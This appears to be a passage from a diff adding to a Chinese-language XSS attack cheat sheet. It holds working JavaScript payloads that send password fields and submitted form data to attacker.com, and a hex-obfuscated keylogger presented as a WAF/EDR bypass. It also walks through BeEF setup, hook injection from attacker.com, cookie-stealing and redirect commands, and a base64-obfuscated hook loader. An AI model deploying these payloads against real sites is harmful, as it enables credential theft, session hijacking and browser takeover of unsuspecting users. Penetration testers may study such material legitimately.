+ <script>
1053
+ document.querySelectorAll("input[type=password]").forEach(function(input){
1054
+ input.addEventListener("change", function(){
1055
+ new Image().src = "http://attacker.com/log?pwd=" + this.value;
1056
+ });
1057
+ });
1058
+ </script>
1059
+ ```
1060
+
1061
+ **4. 4. 表单提交劫持**
1062
+ _劫持表单提交_
1063
+ ```
1064
+ <script>
1065
+ document.querySelectorAll("form").forEach(function(form){
1066
+ form.addEventListener("submit", function(e){
1067
+ var data = new FormData(this);
1068
+ new Image().src = "http://attacker.com/log?" + new URLSearchParams(data).toString();
1069
+ });
1070
+ });
1071
+ </script>
1072
+ ```
1073
+
1074
+ **WAF/EDR 绕过变体:**
1075
+
1076
+ **1. 混淆版本**
1077
+ _十六进制混淆_
1078
+ ```
1079
+ <script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Image().src="http://attacker.com/?k="+_0xb[_0xa[0]]})</script>
1080
+ ```
1081
+
1082
+ ---
1083
+
1084
+ ### BeEF框架利用 `xss-beef`
1085
+ 使用BeEF框架进行XSS利用
1086
+ 子类:**BeEF利用** · tags: `xss` `beef` `framework` `exploitation`
1087
+
1088
+ **前置条件:** 存在XSS漏洞;部署BeEF服务器
1089
+
1090
+ **攻击链:**
1091
+
1092
+ **1. 1. 部署BeEF** _[linux]_
1093
+ _部署BeEF服务器_
1094
+ ```
1095
+ # 安装BeEF
1096
+ git clone https://github.com/beefproject/beef
1097
+ cd beef
1098
+ bundle install
1099
+ ./beef
1100
+
1101
+ # 默认运行在 http://localhost:3000
1102
+ # 默认用户名: beef
1103
+ # 默认密码: beef
1104
+ ```
1105
+
1106
+ **2. 2. 注入Hook脚本**
1107
+ _注入BeEF Hook_
1108
+ ```
1109
+ <script src="http://attacker.com:3000/hook.js"></script>
1110
+ 注入短版本:
1111
+ <script src="//attacker.com:3000/hook.js"></script>
1112
+ ```
1113
+
1114
+ **3. 3. 常用命令**
1115
+ _BeEF控制台命令_
1116
+ ```
1117
+ # BeEF控制台常用命令
1118
+ # 查看在线僵尸
1119
+ beef> online_browsers
1120
+
1121
+ # 执行命令
1122
+ beef> run social_engineering fake_notification
1123
+
1124
+ # 获取Cookie
1125
+ beef> run browser get_cookies
1126
+
1127
+ # 重定向页面
1128
+ beef> run browser redirect https://evil.com
1129
+ ```
1130
+
1131
+ **4. 4. 模块利用**
1132
+ _BeEF模块列表_
1133
+ ```
1134
+ # 常用模块
1135
+ # 社会工程学
1136
+ - Fake Notification
1137
+ - Fake Flash Update
1138
+ - Pretty Theft
1139
+
1140
+ # 浏览器攻击
1141
+ - Get Cookie
1142
+ - Redirect Browser
1143
+ - TabNabbing
1144
+
1145
+ # 网络攻击
1146
+ - DNS Spoofing
1147
+ - Ping Sweep
1148
+ - Port Scanner
1149
+ ```
1150
+
1151
+ **WAF/EDR 绕过变体:**
1152
+
1153
+ **1. 混淆Hook URL**
1154
+ _Base64混淆Hook注入_
1155
+ ```
1156
+ <script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw=="))</script>
1157
+ ```
1158
+
1159
+ ---